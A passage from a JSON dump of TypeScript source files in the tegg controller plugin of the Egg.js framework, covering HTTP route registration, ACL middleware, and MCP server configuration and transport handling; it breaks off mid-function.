    "content": "import type { GlobalGraph, ProtoDependencyMeta, ProtoNode } from '@eggjs/metadata';\nimport { ClassProtoDescriptor as ClassProtoDescriptorImpl } from '@eggjs/metadata';\nimport { ControllerInfoUtil, MethodInfoUtil } from '@eggjs/tegg';\nimport type { GraphNode } from '@eggjs/tegg-common-util';\nimport type { EggProtoImplClass, IAdvice } from '@eggjs/tegg-types';\n\nexport function middlewareGraphHook(globalGraph: GlobalGraph): void {\n  for (const moduleNode of globalGraph.moduleGraph.nodes.values()) {\n    for (const controllerProtoNode of moduleNode.val.protos) {\n      const middlewareProtoNodes = findMiddlewareProtoNodes(globalGraph, controllerProtoNode);\n      if (!middlewareProtoNodes) continue;\n      for (const middlewareProtoNode of middlewareProtoNodes) {\n        const middlewareModuleNode = globalGraph.findModuleNode(middlewareProtoNode.val.proto.instanceModuleName);\n        if (!middlewareModuleNode) continue;\n        globalGraph.addInject(moduleNode, controllerProtoNode, middlewareProtoNode, middlewareProtoNode.val.proto.name);\n      }\n    }\n  }\n}\n\nfunction findMiddlewareProtoNodes(globalGraph: GlobalGraph, protoNode: GraphNode<ProtoNode, ProtoDependencyMeta>) {\n  const proto = protoNode.val.proto;\n  if (!ClassProtoDescriptorImpl.isClassProtoDescriptor(proto)) {\n    return;\n  }\n\n  const middlewareClazzSet = new Set<EggProtoImplClass<IAdvice>>();\n\n  const controllerAopMiddlewares = ControllerInfoUtil.getControllerAopMiddlewares(proto.clazz);\n  if (controllerAopMiddlewares && controllerAopMiddlewares.length > 0) {\n    for (const middlewareClazz of controllerAopMiddlewares) {\n      middlewareClazzSet.add(middlewareClazz);\n    }\n  }\n\n  const methods = MethodInfoUtil.getMethods(proto.clazz);\n  for (const methodName of methods) {\n    const methodAopMiddlewares = MethodInfoUtil.getMethodAopMiddlewares(proto.clazz, methodName);\n    if (methodAopMiddlewares && methodAopMiddlewares.length > 0) {\n      for (const middlewareClazz of methodAopMiddlewares) {\n        middlewareClazzSet.add(middlewareClazz);\n      }\n    }\n  }\n\n  if (middlewareClazzSet.size === 0) {\n    return;\n  }\n\n  const result: GraphNode<ProtoNode, ProtoDependencyMeta>[] = [];\n  for (const middlewareClazz of middlewareClazzSet) {\n    const middlewareProtoNode = findProtoNodeByClass(globalGraph, middlewareClazz);\n    if (middlewareProtoNode) {\n      result.push(middlewareProtoNode);\n    }\n  }\n\n  return result.length > 0 ? result : undefined;\n}\n\nfunction findProtoNodeByClass(\n  globalGraph: GlobalGraph,\n  clazz: EggProtoImplClass,\n): GraphNode<ProtoNode, ProtoDependencyMeta> | undefined {\n  for (const protoNode of globalGraph.protoGraph.nodes.values()) {\n    const proto = protoNode.val.proto;\n    if (ClassProtoDescriptorImpl.isClassProtoDescriptor(proto) && proto.clazz === clazz) {\n      return protoNode;\n    }\n  }\n  return undefined;\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/RootProtoManager.ts",
    "content": "import type { EggPrototype } from '@eggjs/metadata';\nimport { MapUtil } from '@eggjs/tegg-common-util';\nimport type { Context } from 'egg';\n\nexport type GetRootProtoCallback = (ctx: Context) => EggPrototype | undefined;\n\nexport class RootProtoManager {\n  // <method, GetRootProtoCallback[]>\n  protoMap: Map<string, GetRootProtoCallback[]> = new Map();\n\n  registerRootProto(method: string, cb: GetRootProtoCallback, host: string): void {\n    host = host || '';\n    const cbList = MapUtil.getOrStore(this.protoMap, method + host, []);\n    cbList.push(cb);\n  }\n\n  getRootProto(ctx: Context): EggPrototype | undefined {\n    const hostCbList = this.protoMap.get(ctx.method + ctx.host);\n    if (hostCbList) {\n      for (const cb of hostCbList) {\n        const proto = cb(ctx);\n        if (proto) {\n          return proto;\n        }\n      }\n    }\n\n    const cbList = this.protoMap.get(ctx.method);\n    if (!cbList) {\n      return;\n    }\n    for (const cb of cbList) {\n      const proto = cb(ctx);\n      if (proto) {\n        return proto;\n      }\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/errors.ts",
    "content": "import { TeggError } from '@eggjs/metadata';\n\nconst ErrorCodes = {\n  ROUTER_CONFLICT: 'ROUTER_CONFLICT',\n} as const;\ntype ErrorCodes = (typeof ErrorCodes)[keyof typeof ErrorCodes];\n\n/** 路由冲突错误 */\nexport class RouterConflictError extends TeggError {\n  constructor(msg: string) {\n    super(msg, ErrorCodes.ROUTER_CONFLICT);\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/impl/http/Acl.ts",
    "content": "import type { Next, HTTPControllerMeta, HTTPMethodMeta, MiddlewareFunc } from '@eggjs/controller-decorator';\nimport type { Context } from 'egg';\n\nexport function aclMiddlewareFactory(\n  controllerMeta: HTTPControllerMeta,\n  methodMeta: HTTPMethodMeta,\n): MiddlewareFunc | undefined {\n  if (!controllerMeta.hasMethodAcl(methodMeta)) {\n    return;\n  }\n  const code = controllerMeta.getMethodAcl(methodMeta);\n  return async function aclMiddleware(ctx: Context, next: Next) {\n    try {\n      // @ts-expect-error ctx.acl is implemented in extend/context.ts on top level plugin, framework or app\n      await ctx.acl(code);\n    } catch (e: any) {\n      const { redirectUrl, status } = e.data || {};\n      if (!redirectUrl) {\n        throw e;\n      }\n      if (ctx.acceptJSON) {\n        ctx.body = {\n          target: redirectUrl,\n          stat: 'deny',\n        };\n        return;\n      }\n      if (status) {\n        ctx.realStatus = status;\n      }\n      ctx.redirect(redirectUrl);\n      return;\n    }\n    return next();\n  };\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/impl/http/HTTPControllerRegister.ts",
    "content": "import assert from 'node:assert/strict';\n\nimport {\n  CONTROLLER_META_DATA,\n  type ControllerMetadata,\n  ControllerType,\n  HTTPControllerMeta,\n  HTTPMethodMeta,\n} from '@eggjs/controller-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport type { Application, Router } from 'egg';\n\nimport type { ControllerRegister } from '../../ControllerRegister.ts';\nimport { RootProtoManager } from '../../RootProtoManager.ts';\nimport { HTTPMethodRegister } from './HTTPMethodRegister.ts';\n\nexport class HTTPControllerRegister implements ControllerRegister {\n  static instance?: HTTPControllerRegister;\n\n  private readonly router: Router;\n  private readonly checkRouters: Map<string, Router>;\n  private readonly eggContainerFactory: typeof EggContainerFactory;\n  private controllerProtos: EggPrototype[] = [];\n\n  static create(proto: EggPrototype, controllerMeta: ControllerMetadata, app: Application): HTTPControllerRegister {\n    assert(controllerMeta.type === ControllerType.HTTP, 'controller meta type is not HTTP');\n    if (!HTTPControllerRegister.instance) {\n      HTTPControllerRegister.instance = new HTTPControllerRegister(app.router, app.eggContainerFactory);\n    }\n    HTTPControllerRegister.instance.controllerProtos.push(proto);\n    return HTTPControllerRegister.instance;\n  }\n\n  constructor(router: Router, eggContainerFactory: typeof EggContainerFactory) {\n    this.router = router;\n    this.checkRouters = new Map();\n    this.checkRouters.set('default', router);\n    this.eggContainerFactory = eggContainerFactory;\n  }\n\n  register(): Promise<void> {\n    // do noting\n    return Promise.resolve();\n  }\n\n  static clean(): void {\n    if (this.instance) {\n      this.instance.controllerProtos = [];\n      this.instance.checkRouters.clear();\n    }\n    this.instance = undefined;\n  }\n\n  doRegister(rootProtoManager: RootProtoManager): void {\n    const methodMap = new Map<HTTPMethodMeta, EggPrototype>();\n    for (const proto of this.controllerProtos) {\n      const metadata = proto.getMetaData(CONTROLLER_META_DATA) as HTTPControllerMeta;\n      for (const method of metadata.methods) {\n        methodMap.set(method, proto);\n      }\n    }\n    const allMethods = Array.from(methodMap.keys()).sort((a, b) => b.priority - a.priority);\n\n    // FIXME: why init method register twice?\n    for (const method of allMethods) {\n      const controllerProto = methodMap.get(method)!;\n      const controllerMeta = controllerProto.getMetaData(CONTROLLER_META_DATA) as HTTPControllerMeta;\n      const methodRegister = new HTTPMethodRegister(\n        controllerProto,\n        controllerMeta,\n        method,\n        this.router,\n        this.checkRouters,\n        this.eggContainerFactory,\n      );\n      methodRegister.checkDuplicate();\n    }\n\n    for (const method of allMethods) {\n      const controllerProto = methodMap.get(method)!;\n      const controllerMeta = controllerProto.getMetaData(CONTROLLER_META_DATA) as HTTPControllerMeta;\n      const methodRegister = new HTTPMethodRegister(\n        controllerProto,\n        controllerMeta,\n        method,\n        this.router,\n        this.checkRouters,\n        this.eggContainerFactory,\n      );\n      // Error: framework.RouterConflictError: register http controller GET AppController2.get failed, GET /apps/:id is conflict with exists rule /apps/:id [ https://eggjs.org/faq/TEGG_ROUTER_CONFLICT ]\n      // methodRegister.checkDuplicate();\n      methodRegister.register(rootProtoManager);\n    }\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/impl/http/HTTPMethodRegister.ts",
    "content": "import assert from 'node:assert';\n\nimport {\n  type EggContext,\n  HTTPControllerMeta,\n  HTTPMethodMeta,\n  HTTPParamType,\n  PathParamMeta,\n  QueriesParamMeta,\n  QueryParamMeta,\n  Cookies,\n} from '@eggjs/controller-decorator';\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { EggRouter } from '@eggjs/router';\nimport { TimerUtil } from '@eggjs/tegg-common-util';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport type { Router, MiddlewareFunc } from 'egg';\nimport { FrameworkErrorFormater } from 'egg-errors';\nimport pathToRegexp from 'path-to-regexp';\n\nimport { RouterConflictError } from '../../errors.ts';\nimport { RootProtoManager } from '../../RootProtoManager.ts';\nimport { aclMiddlewareFactory } from './Acl.ts';\nimport { initRequest } from './Req.ts';\n\nconst noop = () => {\n  // ...\n};\n\nexport class HTTPMethodRegister {\n  private readonly router: Router;\n  private readonly checkRouters: Map<string, Router>;\n  private readonly controllerMeta: HTTPControllerMeta;\n  private readonly methodMeta: HTTPMethodMeta;\n  private readonly proto: EggPrototype;\n  private readonly eggContainerFactory: typeof EggContainerFactory;\n\n  constructor(\n    proto: EggPrototype,\n    controllerMeta: HTTPControllerMeta,\n    methodMeta: HTTPMethodMeta,\n    router: Router,\n    checkRouters: Map<string, Router>,\n    eggContainerFactory: typeof EggContainerFactory,\n  ) {\n    this.proto = proto;\n    this.controllerMeta = controllerMeta;\n    this.router = router;\n    this.methodMeta = methodMeta;\n    this.checkRouters = checkRouters;\n    this.eggContainerFactory = eggContainerFactory;\n  }\n\n  private createHandler(methodMeta: HTTPMethodMeta, host: string | undefined): MiddlewareFunc {\n    const argsLength = methodMeta.paramMap.size;\n    const hasContext = methodMeta.contextParamIndex !== undefined;\n    const contextIndex = methodMeta.contextParamIndex;\n    const methodArgsLength = argsLength + (hasContext ? 1 : 0);\n    const timeout = this.controllerMeta.getMethodTimeout(methodMeta);\n    // oxlint-disable-next-line no-this-alias\n    const methodRegister = this;\n    return async function (ctx, next) {\n      // if hosts is not empty and host is not matched, not execute\n      if (host && host !== ctx.host) {\n        return await next();\n      }\n      // HTTP decorator core implement\n      // use controller metadata map http request to function arguments\n      const eggObj = await methodRegister.eggContainerFactory.getOrCreateEggObject(\n        methodRegister.proto,\n        methodRegister.proto.name,\n      );\n      const realObj = eggObj.obj;\n      const realMethod = realObj[methodMeta.name];\n      const args: Array<object | string | string[]> = Array.from({\n        length: methodArgsLength,\n      });\n      if (hasContext) {\n        args[contextIndex!] = ctx;\n      }\n      for (const [index, param] of methodMeta.paramMap) {\n        switch (param.type) {\n          case HTTPParamType.BODY: {\n            args[index] = ctx.request.body;\n            break;\n          }\n          case HTTPParamType.PARAM: {\n            const pathParam: PathParamMeta = param as PathParamMeta;\n            args[index] = ctx.params![pathParam.name];\n            break;\n          }\n          case HTTPParamType.QUERY: {\n            const queryParam: QueryParamMeta = param as QueryParamMeta;\n            args[index] = ctx.query[queryParam.name];\n            break;\n          }\n          case HTTPParamType.QUERIES: {\n            const queryParam: QueriesParamMeta = param as QueriesParamMeta;\n            args[index] = ctx.queries[queryParam.name];\n            break;\n          }\n          case HTTPParamType.HEADERS: {\n            args[index] = ctx.request.headers;\n            break;\n          }\n          case HTTPParamType.REQUEST: {\n            args[index] = initRequest(ctx);\n            break;\n          }\n          case HTTPParamType.COOKIES: {\n            args[index] = new Cookies(ctx, []);\n            break;\n          }\n          default:\n            assert.fail('never arrive');\n        }\n      }\n      let body: unknown;\n      try {\n        body = await TimerUtil.timeout<unknown>(() => Reflect.apply(realMethod, realObj, args), timeout);\n      } catch (e: any) {\n        if (e instanceof TimerUtil.TimeoutError) {\n          ctx.logger.error(`timeout after ${timeout}ms`);\n          ctx.throw(500, 'timeout');\n        }\n        throw e;\n      }\n\n      // https://github.com/koajs/koa/blob/master/lib/response.js#L88\n      // ctx.status is set\n      const explicitStatus = ctx.response._explicitStatus;\n\n      if (\n        // has body\n        (body !== null && body !== undefined) ||\n        // status is not set and has no body\n        // code should by 204\n        // https://github.com/koajs/koa/blob/master/lib/response.js#L140\n        !explicitStatus\n      ) {\n        ctx.body = body;\n      }\n    };\n  }\n\n  checkDuplicate(): void {\n    // 1. check duplicate with egg controller\n    this.checkDuplicateInRouter(this.router);\n\n    // 2. check duplicate with host tegg controller\n    let hostRouter: Router | undefined;\n    const hosts = this.controllerMeta.getMethodHosts(this.methodMeta) || [];\n    hosts.forEach((h) => {\n      if (h) {\n        hostRouter = this.checkRouters.get(h);\n        if (!hostRouter) {\n          hostRouter = new EggRouter({ sensitive: true }, this.router.app);\n          this.checkRouters.set(h, hostRouter!);\n        }\n      }\n      if (hostRouter) {\n        this.checkDuplicateInRouter(hostRouter);\n        this.registerToRouter(hostRouter);\n      }\n    });\n  }\n\n  private registerToRouter(router: Router) {\n    const routerFunc = router[this.methodMeta.method.toLowerCase() as keyof Router] as Function;\n    const methodRealPath = this.controllerMeta.getMethodRealPath(this.methodMeta);\n    const methodName = this.controllerMeta.getMethodName(this.methodMeta);\n    Reflect.apply(routerFunc, router, [methodName, methodRealPath, noop]);\n  }\n\n  private checkDuplicateInRouter(router: Router) {\n    const methodRealPath = this.controllerMeta.getMethodRealPath(this.methodMeta);\n    const matched = router.match(methodRealPath, this.methodMeta.method);\n    const methodName = this.controllerMeta.getMethodName(this.methodMeta);\n    if (matched.route) {\n      const [layer] = matched.path;\n      const err = new RouterConflictError(\n        `register http controller ${methodName} failed, ${this.methodMeta.method} ${methodRealPath} is conflict with exists rule ${layer.path}`,\n      );\n      throw FrameworkErrorFormater.format(err);\n    }\n  }\n\n  /**\n   * register method to router\n   */\n  register(rootProtoManager: RootProtoManager): void {\n    const methodRealPath = this.controllerMeta.getMethodRealPath(this.methodMeta);\n    const methodName = this.controllerMeta.getMethodName(this.methodMeta);\n    const routerFunc = this.router[this.methodMeta.method.toLowerCase() as keyof Router] as Function;\n    const methodMiddlewares = this.controllerMeta.getMethodMiddlewares(this.methodMeta);\n    const aclMiddleware = aclMiddlewareFactory(this.controllerMeta, this.methodMeta);\n    if (aclMiddleware) {\n      methodMiddlewares.push(aclMiddleware);\n    }\n    const hosts = this.controllerMeta.getMethodHosts(this.methodMeta) ?? [undefined];\n    hosts.forEach((host) => {\n      const handler = this.createHandler(this.methodMeta, host);\n      Reflect.apply(routerFunc, this.router, [methodName, methodRealPath, ...methodMiddlewares, handler]);\n      // https://github.com/eggjs/egg-core/blob/0af6178022e7734c4a8b17bb56d592b315207883/lib/egg.js#L279\n      const regExp = pathToRegexp(methodRealPath, {\n        sensitive: true,\n      });\n      rootProtoManager.registerRootProto(\n        this.methodMeta.method,\n        (ctx: EggContext) => {\n          if (regExp.test(ctx.path)) {\n            return this.proto;\n          }\n        },\n        host || '',\n      );\n    });\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/impl/http/Req.ts",
    "content": "import type { Context } from 'egg';\n\nexport function initRequest(ctx: Context): Request {\n  // href: https://github.com/eggjs/egg/blob/next/packages/koa/src/request.ts#L90C1-L98C4\n  return new Request(ctx.request.href, {\n    method: ctx.request.method,\n    // @ts-expect-error Type 'IncomingHttpHeaders' is not assignable to type 'HeadersInit | undefined'\n    headers: ctx.request.headers,\n    // @ts-expect-error should export from ctx.request\n    // oxlint-disable-next-line no-invalid-fetch-options\n    body: ctx.request.rawBody,\n  });\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/impl/mcp/MCPConfig.ts",
    "content": "import { randomUUID } from 'node:crypto';\n\nimport { InMemoryEventStore } from '@modelcontextprotocol/sdk/examples/shared/inMemoryEventStore.js';\nimport type { EventStore } from '@modelcontextprotocol/sdk/server/streamableHttp.js';\nimport type { Application, Context } from 'egg';\n\nexport interface MCPConfigOptions {\n  sseInitPath: string;\n  sseMessagePath: string;\n  streamPath: string;\n  statelessStreamPath: string;\n  ssePingEnabled?: boolean;\n  streamPingEnabled?: boolean;\n  pingElapsed?: number;\n  pingInterval?: number;\n  sessionIdGenerator?: (ctx: Context) => string;\n  eventStore?: EventStore;\n  sseHeartTime?: number;\n  multipleServer?: Record<string, Partial<MCPConfigOptions>>;\n}\n\nexport class MCPConfig {\n  private _sseInitPath: string;\n  private _sseMessagePath: string;\n  private _streamPath: string;\n  private _statelessStreamPath: string;\n  private _sessionIdGenerator: (ctx: Context) => string;\n  private _eventStore: EventStore;\n  private _sseHeartTime: number;\n\n  private _pingElapsed: number;\n  private _pingInterval: number;\n  private _ssePingEnabled: boolean;\n  private _streamPingEnabled: boolean;\n\n  private _multipleServer: Record<string, Partial<MCPConfigOptions>>;\n\n  constructor(options: MCPConfigOptions) {\n    this._sessionIdGenerator = options.sessionIdGenerator ?? (() => randomUUID());\n    this._sseInitPath = options.sseInitPath;\n    this._sseMessagePath = options.sseMessagePath;\n    this._streamPath = options.streamPath;\n    this._statelessStreamPath = options.statelessStreamPath;\n    this._eventStore = options.eventStore ?? new InMemoryEventStore();\n    this._sseHeartTime = options.sseHeartTime ?? 25000;\n    this._pingElapsed = options.pingElapsed ?? 10 * 60 * 1000;\n    this._pingInterval = options.pingInterval ?? 5 * 1000;\n    this._ssePingEnabled = options.ssePingEnabled ?? false;\n    this._streamPingEnabled = options.streamPingEnabled ?? false;\n\n    this._multipleServer = options.multipleServer ?? {};\n  }\n\n  getSseInitPath(name?: string): string {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.sseInitPath) {\n        return config.sseInitPath;\n      }\n      return `/mcp/${name}/sse`;\n    }\n    return this._sseInitPath;\n  }\n\n  getSseMessagePath(name?: string): string {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.sseMessagePath) {\n        return config.sseMessagePath;\n      }\n      return `/mcp/${name}/message`;\n    }\n    return this._sseMessagePath;\n  }\n\n  getStreamPath(name?: string): string {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.streamPath) {\n        return config.streamPath;\n      }\n      return `/mcp/${name}/stream`;\n    }\n    return this._streamPath;\n  }\n\n  getStatelessStreamPath(name?: string): string {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.statelessStreamPath) {\n        return config.statelessStreamPath;\n      }\n      return `/mcp/${name}/stateless/stream`;\n    }\n    return this._statelessStreamPath;\n  }\n\n  getSessionIdGenerator(name?: string): (ctx: Context) => string {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.sessionIdGenerator) {\n        return config.sessionIdGenerator;\n      }\n      return () => randomUUID();\n    }\n    return this._sessionIdGenerator;\n  }\n\n  getEventStore(name?: string): EventStore {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.eventStore) {\n        return config.eventStore;\n      }\n      return new InMemoryEventStore();\n    }\n    return this._eventStore;\n  }\n\n  getSseHeartTime(name?: string): number {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.sseHeartTime) {\n        return config.sseHeartTime;\n      }\n      return 25000;\n    }\n    return this._sseHeartTime;\n  }\n\n  getMultipleServerNames(): string[] {\n    return Object.keys(this._multipleServer);\n  }\n\n  getPingElapsed(name?: string): number {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.pingElapsed !== undefined) {\n        return config.pingElapsed;\n      }\n      return 10 * 60 * 1000;\n    }\n    return this._pingElapsed;\n  }\n\n  getPingInterval(name?: string): number {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.pingInterval !== undefined) {\n        return config.pingInterval;\n      }\n      return 5 * 1000;\n    }\n    return this._pingInterval;\n  }\n\n  getSsePingEnabled(name?: string): boolean {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.ssePingEnabled !== undefined) {\n        return config.ssePingEnabled;\n      }\n      return false;\n    }\n    return this._ssePingEnabled;\n  }\n\n  getStreamPingEnabled(name?: string): boolean {\n    if (name) {\n      const config = this._multipleServer[name];\n      if (config?.streamPingEnabled !== undefined) {\n        return config.streamPingEnabled;\n      }\n      return false;\n    }\n    return this._streamPingEnabled;\n  }\n\n  setMultipleServerPath(app: Application, name: string): void {\n    if (!(app.config.mcp as MCPConfigOptions).multipleServer) {\n      (app.config.mcp as MCPConfigOptions).multipleServer = {};\n    }\n    (app.config.mcp as MCPConfigOptions).multipleServer![name] = {\n      sseInitPath: `/mcp/${name}/sse`,\n      sseMessagePath: `/mcp/${name}/message`,\n      streamPath: `/mcp/${name}/stream`,\n      statelessStreamPath: `/mcp/${name}/stateless/stream`,\n      ...app.config.mcp.multipleServer?.[name],\n    };\n  }\n}\n"
  },
  {
    "path": "tegg/plugin/controller/src/lib/impl/mcp/MCPControllerRegister.ts",
    "content": "import assert from 'node:assert';\nimport http, { IncomingMessage, ServerResponse } from 'node:http';\nimport { Socket } from 'node:net';\n\nimport type { EggPrototype } from '@eggjs/metadata';\nimport { CONTROLLER_META_DATA, ControllerType, MCPProtocols } from '@eggjs/tegg';\nimport type {\n  ControllerMetadata,\n  MCPControllerMeta,\n  MCPPromptMeta,\n  MCPToolMeta,\n  EggContext,\n  EggObjectName,\n  MCPResourceMeta,\n} from '@eggjs/tegg';\nimport { EggContainerFactory } from '@eggjs/tegg-runtime';\nimport type { EggObject } from '@eggjs/tegg-runtime';\nimport type { Server } from '@modelcontextprotocol/sdk/server/index.js';\nimport { McpServer } from '@modelcontextprotocol/sdk/server/mcp.js';\nimport { SSEServerTransport } from '@modelcontextprotocol/sdk/server/sse.js';\nimport { StreamableHTTPServerTransport } from '@modelcontextprotocol/sdk/server/streamableHttp.js';\nimport { isInitializeRequest, isJSONRPCRequest } from '@modelcontextprotocol/sdk/types.js';\nimport type { JSONRPCMessage, MessageExtraInfo } from '@modelcontextprotocol/sdk/types.js';\n// @ts-expect-error await-event is not typed\nimport awaitEvent from 'await-event';\n// @ts-expect-error content-type is not typed\nimport contentType from 'content-type';\nimport type { Application, Context, Router } from 'egg';\nimport compose from 'koa-compose';\nimport getRawBody from 'raw-body';\n\nimport type { ControllerRegister } from '../../ControllerRegister.ts';\nimport { MCPConfig } from './MCPConfig.ts';\nimport { MCPServerHelper } from './MCPServerHelper.ts';\n\nexport interface MCPControllerHook {\n  // SSE\n  preSSEInitHandle?: (ctx: Context, transport: SSEServerTransport, register: MCPControllerRegister) => Promise<void>;\n  preHandleInitHandle?: (ctx: Context) => Promise<void>;\n\n  // STREAM\n  preHandle?: (ctx: Context) => Promise<void>;\n  onStreamSessionInitialized?: (\n    ctx: Context,\n    transport: StreamableHTTPServerTransport,\n    server: McpServer,\n    register: MCPControllerRegister,\n  ) => Promise<void>;\n\n  // COMMON\n  preProxy?: (ctx: Context, proxyReq: http.IncomingMessage, proxyResp: http.ServerResponse) => Promise<void>;\n  schemaLoader?: (\n    controllerMeta: MCPControllerMeta,\n    meta: MCPPromptMeta | MCPToolMeta,\n  ) => Promise<Parameters<McpServer['tool']>['2']>;\n  checkAndRunProxy?: (ctx: Context, type: MCPProtocols, sessionId: string) => Promise<boolean>;\n\n  // middleware\n  middlewareStart?: (ctx: Context) => Promise<void>;\n  middlewareEnd?: (ctx: Context) => Promise<void>;\n  middlewareError?: (ctx: Context, e: Error) => Promise<void>;\n}\n\ninterface ServerRegisterRecord<T> {\n  getOrCreateEggObject: (proto: EggPrototype, name?: EggObjectName) => Promise<EggObject>;\n  proto: EggPrototype;\n  meta: T;\n}\n\nclass InnerSSEServerTransport extends SSEServerTransport {\n  async send(message: JSONRPCMessage): Promise<void> {\n    let err: null | Error = null;\n    try {\n      await super.send(message);\n    } catch (e) {\n      err = e as Error;\n    } finally {\n      const map = MCPControllerRegister.instance?.sseTransportsRequestMap.get(this);\n      if (map && 'id' in message) {\n        const { resolve, reject } = map[message.id!] ?? {};\n        if (resolve) {\n          err ? reject(err) : resolve(null);\n          delete map[String(message.id)];\n        }\n      }\n    }\n  }\n}\n\nexport class MCPControllerRegister implements ControllerRegister {\n  static instance?: MCPControllerRegister;\n  readonly app: Application;\n  readonly eggContainerFactory: typeof EggContainerFactory;\n  private readonly router: Router;\n  private controllerProtos: EggPrototype[] = [];\n  private registeredControllerProtos: EggPrototype[] = [];\n  transports: Record<string, InnerSSEServerTransport> = {};\n  sseConnections: Map<string, { res: ServerResponse; intervalId: NodeJS.Timeout }> = new Map();\n  mcpServerHelperMap: Record<string, () => MCPServerHelper> = {};\n  mcpServerMap: Record<string, McpServer> = {};\n  private controllerMeta: MCPControllerMeta;\n  mcpConfig: MCPConfig;\n  streamTransports: Record<string, StreamableHTTPServerTransport> = {};\n  sseTransportsRequestMap: Map<\n    InnerSSEServerTransport,\n    Record<\n      string,\n      {\n        resolve: (value: PromiseLike<null> | null) => void;\n        reject: (reason?: any) => void;\n      }\n    >\n  > = new Map();\n\n  static hooks: MCPControllerHook[] = [];\n  globalMiddlewares: compose.ComposedMiddleware<EggContext>;\n\n  registerMap: Record<\n    string,\n    {\n      tools: ServerRegisterRecord<MCPToolMeta>[];\n      prompts: ServerRegisterRecord<MCPPromptMeta>[];\n      resources: ServerRegisterRecord<MCPResourceMeta>[];\n    }\n  > = {};\n\n  pingIntervals: Record<string, NodeJS.Timeout> = {};\n\n  static create(proto: EggPrototype, controllerMeta: ControllerMetadata, app: Application): MCPControllerRegister {\n    assert(controllerMeta.type === ControllerType.MCP, 'controller meta type is not MCP');\n    if (!MCPControllerRegister.instance) {\n      MCPControllerRegister.instance = new MCPControllerRegister(proto, controllerMeta as MCPControllerMeta, app);\n    }\n    MCPControllerRegister.instance.controllerProtos.push(proto);\n    return MCPControllerRegister.instance;\n  }\n\n  constructor(_proto: EggPrototype, controllerMeta: MCPControllerMeta, app: Application) {\n    this.app = app;\n    this.eggContainerFactory = app.eggContainerFactory;\n    this.router = app.router;\n\n    this.controllerMeta = controllerMeta;\n\n    this.mcpConfig = new MCPConfig(app.config.mcp);\n  }\n\n  static addHook(hook: MCPControllerHook): void {\n    MCPControllerRegister.hooks.push(hook);\n  }\n\n  // eslint-disable-next-line @typescript-eslint/no-unused-vars\n  static async connectStatelessStreamTransport(_name?: string): Promise<void> {\n    // No-op: MCP SDK >= 1.26 requires stateless transports to be single-use,\n    // so transports are now created per-request in the route handler.\n  }\n\n  static clean(): void {\n    if (this.instance) {\n      this.instance.controllerProtos = [];\n    }\n    this.instance = undefined;\n  }\n\n  mcpStatelessStreamServerInit(name?: string): void {\n    const postRouterFunc = this.router.post;\n    const self = this;\n    let mw = (self.app.middleware as any).teggCtxLifecycleMiddleware();\n    if (self.globalMiddlewares) {\n      mw = compose([mw, self.globalMiddlewares]);\n    }\n    const initHandler = async (ctx: Context) => {\n      // Create fresh transport and server per request\n      // MCP SDK >= 1.26 requires stateless transports to be single-use\n      const transport: StreamableHTTPServerTransport = new StreamableHTTPServerTransport({\n        sessionIdGenerator: undefined,\n      });\n      const mcpServerHelper = self.mcpServerHelperMap[name ?? 'default']();\n      const registerEntry = self.registerMap[name ?? 'default'];\n      if (registerEntry) {\n        for (const tool of registerEntry.tools) {\n          await mcpServerHelper.mcpToolRegister(tool.getOrCreateEggObject, tool.proto, tool.meta);\n        }\n        for (const resource of registerEntry.resources) {\n          await mcpServerHelper.mcpResourceRegister(resource.getOrCreateEggObject, resource.proto, resource.meta);\n        }\n        for (const prompt of registerEntry.prompts) {\n          await mcpServerHelper.mcpPromptRegister(prompt.getOrCreateEggObject, prompt.proto, prompt.meta);\n        }\n      }\n      await mcpServerHelper.server.connect(transport);\n      const onmessage = transport.onmessage;\n      transport.onmessage = async (message: JSONRPCMessage, extra?: MessageExtraInfo) => {\n        if (self.app.currentContext) {\n          self.app.currentContext.mcpArg = message;\n        }\n        onmessage && (await onmessage(message, extra));\n      };\n      if (MCPControllerRegister.hooks.length > 0) {\n        for (const hook of MCPControllerRegister.hooks) {\n          await hook.preHandle?.(self.app.currentContext!);\n        }\n      }\n      ctx.respond = false;\n      ctx.set({\n        'content-type': 'text/event-stream',\n      });\n      await ctx.app.ctxStorage.run(ctx, async () => {\n        await mw(ctx, async () => {\n          await transport.handleRequest(ctx.req, ctx.res);\n          await awaitEvent(ctx.res, 'close');\n        });\n      });\n      return;\n    };\n    Reflect.apply(postRouterFunc, this.router, [\n      'chairMcpStatelessStreamInit',\n      self.mcpConfig.getStatelessStreamPath(name),\n      ...[],\n      initHandler,\n    ]);\n    const getRouterFunc = this.router.get;\n    const delRouterFunc = this.router.del;\n    const notHandler = async (ctx: Context) => {\n      ctx.status = 405;\n      ctx.body = {\n        jsonrpc: '2.0',\n        error: {\n          code: -32000,\n          message: 'Method not allowed.',\n        },\n        id: null,\n      };\n    };\n    Reflect.apply(getRouterFunc, this.router, [\n      'chairMcpStatelessStreamInit',\n      self.mcpConfig.getStatelessStreamPath(name),\n      ...[],\n      notHandler,\n    ]);\n    Reflect.apply(delRouterFunc, this.router, [\n      'chairMcpStatelessStreamInit',\n      self.mcpConfig.getStatelessStreamPath(name),\n      ...[],\n      notHandler,\n    ]);\n  }\n\n  mcpStreamServerInit(name?: string): void {\n    const allRouterFunc = this.router.all;\n    const self = this;\n    let mw = (self.app.middleware as any).teggCtxLifecycleMiddleware();\n    if (self.globalMiddlewares) {\n      